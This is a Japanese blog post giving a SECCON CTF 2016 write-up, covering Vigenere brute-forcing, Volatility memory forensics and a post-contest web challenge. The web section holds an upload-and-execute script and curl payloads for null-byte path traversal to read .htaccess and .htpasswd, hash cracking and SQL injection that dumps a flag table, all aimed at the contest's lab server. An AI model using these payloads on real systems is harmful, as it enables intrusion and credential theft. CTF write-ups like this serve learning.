jtwp470’s blog

日記とかプヨグヤミングとか

SECCON CTF 2016 Writeup & 参加記

こんにちは.たんごです.さっきまでSECCON CTF 2016にチームg0tiu5aで参加していました. 本投稿はMKAK Advent Calendar 2016 の12/11分の記事になります.(このアドベントカレンダーは完全にプライベートなので分かる人にしかわからないやつです.すみません)

2016.seccon.jp

はじめに

謝罪です.某所で100位以内になるという目標をたてて頑張っていましたが結果は280位でした.大変申し訳ございません🙏

f:id:jtwp470:20161211162733p:plain

現実は厳しいゾ

Writeup

解いた問題は以下の4問です

f:id:jtwp470:20161211162845p:plain

  • Vigenere
  • VoIP
  • Memory Analysis
  • Anti-Debugging

どの問題も300チーム以上解けてる明示的な問題ですね.

VoIP

頑張ってリスニングするとフラグが聞こえます.3〜4回聞き直しました.

Flag: SECCON{9001IVR}

Memory Analysis

メモリ解析の問題です.ヒントにあるようにvolatilityを使って解析してきます.

$ vol.py -f forensic_100.raw imageinfo
Volatility Foundation Volatility Framework 2.5
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : WinXPSP2x86, WinXPSP3x86 (Instantiated with WinXPSP2x86)
                     AS Layer1 : IA32PagedMemoryPae (Kernel AS)
                     AS Layer2 : FileAddressSpace (/Users/jtwp470/CTFs/seccon-2016/forensics/forensic_100.raw)
                      PAE type : PAE
                           DTB : 0x34c000L
                          KDBG : 0x80545ce0L
          Number of Processors : 1
     Image Type (Service Pack) : 3
                KPCR for CPU 0 : 0xffdff000L
             KUSER_SHARED_DATA : 0xffdf0000L
           Image date and time : 2016-12-06 05:28:47 UTC+0000
     Image local date and time : 2016-12-06 14:28:47 +0900

これでWindows XPのメモリダンプであるということがわかります. プロセスリストの一覧.

$ vol.py -f forensic_100.raw pslist --profile=WinXPSP2x86
Volatility Foundation Volatility Framework 2.5
Offset(V)  Name                    PID   PPID   Thds     Hnds   Sess  Wow64 Start                          Exit
---------- -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------
0x823c8660 System                    4      0     58      259 ------      0
0x81a18020 smss.exe                540      4      3       19 ------      0 2016-12-06 05:27:04 UTC+0000
0x81ef6da0 csrss.exe               604    540     11      480      0      0 2016-12-06 05:27:07 UTC+0000
0x82173da0 winlogon.exe            628    540     24      541      0      0 2016-12-06 05:27:07 UTC+0000
0x8216e670 services.exe            672    628     15      286      0      0 2016-12-06 05:27:07 UTC+0000
0x81f8c9a0 lsass.exe               684    628     26      374      0      0 2016-12-06 05:27:07 UTC+0000
0x82154880 vmacthlp.exe            836    672      1       25      0      0 2016-12-06 05:27:08 UTC+0000
0x81e18da0 svchost.exe             848    672     20      216      0      0 2016-12-06 05:27:08 UTC+0000
0x82151ca8 svchost.exe             936    672     10      272      0      0 2016-12-06 05:27:08 UTC+0000
0x82312450 svchost.exe            1036    672     87     1514      0      0 2016-12-06 05:27:08 UTC+0000
0x81f92778 svchost.exe            1088    672      7       83      0      0 2016-12-06 05:27:08 UTC+0000
0x81e41928 svchost.exe            1320    672     12      183      0      0 2016-12-06 05:27:10 UTC+0000
0x8231f698 explorer.exe           1556   1520     15      466      0      0 2016-12-06 05:27:10 UTC+0000
0x81f0dbe0 spoolsv.exe            1644    672     15      133      0      0 2016-12-06 05:27:10 UTC+0000
0x81e4f560 svchost.exe            1704    672      5      107      0      0 2016-12-06 05:27:10 UTC+0000
0x81f65da0 svchost.exe            1776    672      2       23      0      0 2016-12-06 05:27:10 UTC+0000
0x821f8438 vmtoolsd.exe           1856   1556      3      129      0      0 2016-12-06 05:27:11 UTC+0000
0x82170da0 ctfmon.exe             1872   1556      1       87      0      0 2016-12-06 05:27:11 UTC+0000
0x81f00558 VGAuthService.e         196    672      2       60      0      0 2016-12-06 05:27:13 UTC+0000
0x81e4b4b0 vmtoolsd.exe            312    672      9      265      0      0 2016-12-06 05:27:13 UTC+0000
0x81e886f0 GoogleUpdate.ex         372   1984      7      138      0      0 2016-12-06 05:27:13 UTC+0000
0x82062b20 wuauclt.exe             488   1036      7      132      0      0 2016-12-06 05:27:13 UTC+0000
0x81e89200 wmiprvse.exe            596    848     12      255      0      0 2016-12-06 05:27:13 UTC+0000
0x82267900 rundll32.exe           1712   1556      2      144      0      0 2016-12-06 05:27:16 UTC+0000
0x81f46238 alg.exe                2028    672      7      104      0      0 2016-12-06 05:27:16 UTC+0000
0x81e56228 wscntfy.exe             720   1036      1       37      0      0 2016-12-06 05:27:18 UTC+0000
0x8225bda0 IEXPLORE.EXE            380   1776     22      385      0      0 2016-12-06 05:27:19 UTC+0000
0x8229f7e8 IEXPLORE.EXE           1080    380     19      397      0      0 2016-12-06 05:27:21 UTC+0000
0x81f2cb20 wuauclt.exe            3164   1036      5      107      0      0 2016-12-06 05:28:15 UTC+0000
0x819b4380 tcpview.exe            3308   1556      2       84      0      0 2016-12-06 05:28:42 UTC+0000
0x8216a5e8 DumpIt.exe             3740   1556      1       25      0      0 2016-12-06 05:28:46 UTC+0000

通信の履歴

$ vol.py -f forensic_100.raw --profile=WinXPSP2x86 connscan
Volatility Foundation Volatility Framework 2.5
Offset(P)  Local Address             Remote Address            Pid
---------- ------------------------- ------------------------- ---
0x018c3cc8 192.168.88.131:1077       180.70.134.87:80          3676
0x0196f6a0 192.168.88.131:1122       175.126.170.70:80         3676
0x0233bbe8 192.168.88.131:1034       153.127.200.178:80        1080
0x02470238 192.168.88.131:1036       172.217.27.78:443         2776

ここで出てきたIPアドレスdig -xで見てみると153.127.200.178はさくらのIPアドレスの範囲であることが判明しました.

$ dig @8.8.8.8 -x 153.127.200.178

; <<>> DiG 9.8.3-P1 <<>> @8.8.8.8 -x 153.127.200.178
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 16549
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;178.200.127.153.in-addr.arpa.  IN   PTR

;; AUTHORITY SECTION:
200.127.153.in-addr.arpa. 1799  IN   SOA        dns.sakura.ad.jp. noc.sakura.ad.jp. 2016121118 3600 900 3600000 3600

;; Query time: 129 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Sun Dec 11 16:35:06 2016
;; MSG SIZE  rcvd: 102

SECCONのインフラ協賛企業はさくらインターネットなのでこれは怪しいですね. (Guessing)

そういえば /etc/hosts もみてねと問題文に書いてあるのでWindowsにおける /etc/hosts に相当するものを抜き出します.

$ vol.py -f forensic_100.raw --profile=WinXPSP2x86 filescan | egrep "hosts"
Volatility Foundation Volatility Framework 2.5
0x000000000217b748      1      0 R--rw- \Device\HarddiskVolume1\WINDOWS\system32\drivers\etc\hosts

$ vol.py -f forensic_100.raw --profile=WinXPSP2x86 dumpfiles -Q 0x000000000217b748 --name -D ./memory_analysis
Volatility Foundation Volatility Framework 2.5
DataSectionObject 0x0217b748   None   \Device\HarddiskVolume1\WINDOWS\system32\drivers\etc\hosts

中身は以下のようになっていました.

153.127.200.178    crattack.tistory.com

crattack.tistory.comは韓国のサーバーでありもともとさくらインターネット上でホスティングされているものではないことがわかりました.そこでプロセス1080のメモリダンプを抜き出してみると次のようなログが取れました.

Visited: SYSTEM@http://crattack.tistory.com/entry/Data-Science-import-pandas-as-pd

そこで次のように書き換えてアクセスしてみます.

$ curl $(echo "http://crattack.tistory.com/entry/Data-Science-import-pandas-as-pd" | sed -e 's/crattack.tistory.com/153.127.200.178/g')
SECCON{_h3110_w3_h4ve_fun_w4rg4m3_}

Flag: SECCON{_h3110_w3_h4ve_fun_w4rg4m3_}

Forensicsの代名詞みたいな問題で面白かったです.

Anti-Debugging

パスワードはI have a pen.でここまでは簡単でした.IDAで内部を読むとデバッガやらWiresharkやらを見つけるとプログラムが落ちるようです.各所各所で適当に判定部分を偽装したりして最後の方まで動かせるようにするとFlagがスタックに積まれるのでそれを出しました.

Flag: <ど忘れしました>

Vigenere

実は一番最初の方に解いた問題です.正攻法で解きました.ただ変数が糞すぎて何度もやり直したのは秘密ですw

k: ????????????

p: SECCON{???????????????????????????????????}

c: LMIG}RPEDOEEWKJIQIWKJWMNDTSR}TFVUFWYOCBAJBQ

k=key, p=plain, c=cipher, md5(p)=f528a6ab914c1ecf856a1d93103948fe

調べればわかりますが多表暗号なので横SのLになる部分はVだみたいな形式で鍵を求めることが出来ます.

最初の SECCON{ までは鍵をすぐに見つけることが出来ます. つまりここまではすぐにわかります.

k = "VIGENER?????"

あと5文字はブルートフォースで見つけます.285 は2000万くらいなのでそんなに時間はかかりません.

#!/usr/bin/env python3
from itertools import starmap, cycle
from hashlib import md5

TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZ{}"
k = "????????????"
k = "VIGENER?????"
MD5_PLAIN = "

PLAIN_FLAG = "SECCON{???????????????????????????????????}"
CRYPT_FLAG = "LMIG}RPEDOEEWKJIQIWKJWMNDTSR}TFVUFWYOCBAJBQ"


def enc(p, k):
    return TABLE[(TABLE.find(p) + TABLE.find(k)) % 28]


def encrypt(plain, key):
    return "".join(starmap(enc, zip(plain, cycle(key))))


def dec(c, k):
    return TABLE[(TABLE.find(c) - TABLE.find(k)) % 28]


def decrypt(cipher, key):
    return "".join(starmap(dec, zip(cipher, cycle(key))))


def detect_first_key():
    known_plain = "SECCON{"
    known_crypt = "LMIG}RP"

    k = ""
    for p, c in zip(known_plain, known_crypt):
        for cand in TABLE:
            if encrypt(p, cand) == c:
                k += cand
                break

    return k


def check():
    KEY = detect_first_key()
    known_plain = "SECCON{"
    known_crypt = "LMIG}RP"

    print(known_plain, decrypt(known_crypt, KEY))
    print(known_crypt, encrypt(known_plain, KEY))


def main():
    KEY = detect_first_key()
    k = KEY
    for a in TABLE:
        print("Searching {}{}????".format(KEY, a))
        for b in TABLE:
            for c in TABLE:
                for d in TABLE:
                    for e in TABLE:
                        k += a + b + c + d + e
                        # print(k)
                        dec = decrypt(CRYPT_FLAG, k)
                        # print(d)
                        if md5(dec.encode()).hexdigest() == MD5_PLAIN:
                            print("Detect key: {}".format(k))
                            print("Gotcha! Flag: {}".format(dec))
                            import sys
                            sys.exit()
                        else:
                            k = KEY


main()
$ python vigenere.py
Searching VIGENERA????
Searching VIGENERB????
Searching VIGENERC????
Searching VIGENERD????
Searching VIGENERE????
Detect key: VIGENERECODE
Gotcha! Flag: SECCON{ABABABCDEDEFGHIJJKLMNOPQRSTTUVWXYYZ}

Flag: SECCON{ABABABCDEDEFGHIJJKLMNOPQRSTTUVWXYYZ}

さてこの問題700チーム以上が解いててそんなに簡単な問題なの?と思っていましたがどうやらどっかのおバカがオンラインのmd5リバースサイトで入力してしまったみたいです.燃えろ🔥

md5.gromweb.com

終了後にWriteupを読んで解いた問題

uncomfortable web

特定のサイトに

をアップロードして 127.0.0.1:81 に攻撃してねw という問題.毎回毎回アップロードして攻撃〜を繰り返すのは面倒だったのでその部分は自動化しました.

#!/usr/bin/env python3
import requests


def upload():
    URL = "http://uncomfortableweb.pwn.seccon.jp/"
    SHELL = """
#!/bin/bash
#ls -la /
curl http://127.0.0.1:81/select.cgi -F txt=../.htaccess%00
# curl http://127.0.0.1:81/select.cgi?txt=../.htaccess%00
# curl http://127.0.0.1:81/select.cgi?txt=../authed/.htpasswd%00
# curl "http://keigo:test@127.0.0.1:81/authed/"
# curl "http://keigo:test@127.0.0.1:81/authed/sqlinj/[1-100].cgi?no=a'or'1'like'1'--"
# curl "http://keigo:test@127.0.0.1:81/authed/sqlinj/72.cgi?no=a'/**/union/**/select/**/name,tbl_name,sql/**/from/**/sqlite_master--"
# => CREATE TABLE f1ags (f1ag)
# curl "http://keigo:test@127.0.0.1:81/authed/sqlinj/72.cgi?no=a'/**/union/**/select/**/1,f1ag,1/**/from/**/f1ags--"
"""
    result = requests.post(URL, files={'file': ('inject.sh', SHELL)})
    r = result.text.split("\n")
    # print(r)
    #s_pos = r.index(u'&lt;!DOCTYPE HTML PUBLIC &quot;-//IETF//DTD HTML 2.0//EN&quot;&gt;')
    s_pos = 12
    l_pos = r.index(u'</pre><hr><p><p><br>')

    res = "\n".join([
        c.replace(
            '&lt;', '<').replace(
                '&gt;', '>').replace(
                    '&amp;', '&').replace(
                        '&quot;', '"') for c in r[s_pos:l_pos]])
    print(res)
    return res


upload()

途中までわかったこととして

  • authed/a.txt
  • authed/b.txt
  • authed/c.txt

があり select の部分で txt=a で拡張子txtが開けるようです.ずっと .htaccessとか.htpasswdを探していてヌルバイトインジェクションだろうな〜と思いつつ%00を末尾につけて探し回っていましたが一向に見つからず.

どうやらcurlの-Fオプションでは%00は無視される模様orz

curl http://127.0.0.1:81/select.cgi -F txt=../.htaccess%00

↑ではなく↓のように書くと.htaccessが出てきますorz

$ curl http://127.0.0.1:81/select.cgi?txt=../.htaccess%00
> AuthUserFile /var/www/html-inner/authed/.htpasswd<br>
> AuthGroupFile /dev/null<br>
> AuthName "SECCON 2016"<br>
> AuthType Basic<br>
> Require user keigo<br>

$ curl http://127.0.0.1:81/select.cgi?txt=../authed/.htpasswd%00
> keigo:LdnoMJCeVy.SE

上のBasic認証のPWはJohn the Ripperで判明します. keigo:testです.

あとは他の人のWriteupを読んでください.

簡単に言うと

  • /authed/sqlinj/[1-100].cgi がある
  • どこかにSQLiがあるので探す. 確か72.cgi
  • あとはSQLiでフラグを出す

この問題が解けてれば 700 pt になって 150 位くらいまでいけてたんですよー 😢

その他解析だけで来たやつ

  • pppppoxy
    • C#で出来たWebサイト? Reversing?
    • ILPsyでは逆解析できなくて詰んでた.多分変数に非アスキー文字を使って少し難読化してるみたい?
    • https://httpoxy.org/ これのこと?
  • Retrospective
    • VB6で書かれたアプリケーション.逆コンパイラとかがあるみたいだけど動かなくて諦め.

まとめ

今年のSECCON CTFは昨年より更に難易度が上がっていて多分昨年の自分なら1問も解けずに終了していたんだろうなと言う気持ちです.比較的昨年より糞問はなかったんじゃないでしょうか.ForensicsとCrypt, Binaryしか解けていないので引き続きWebとPwnableの分野のお勉強をさらに進めていきたいなと言う気持ちです.

本当にソレな

戯言

誰か僕をCTFのチームに誘ってくれませんか? 雑魚ですが頑張ります orz

お気持ち

これから数ヶ月は卒論が炎上しているので一旦CTFから離れます.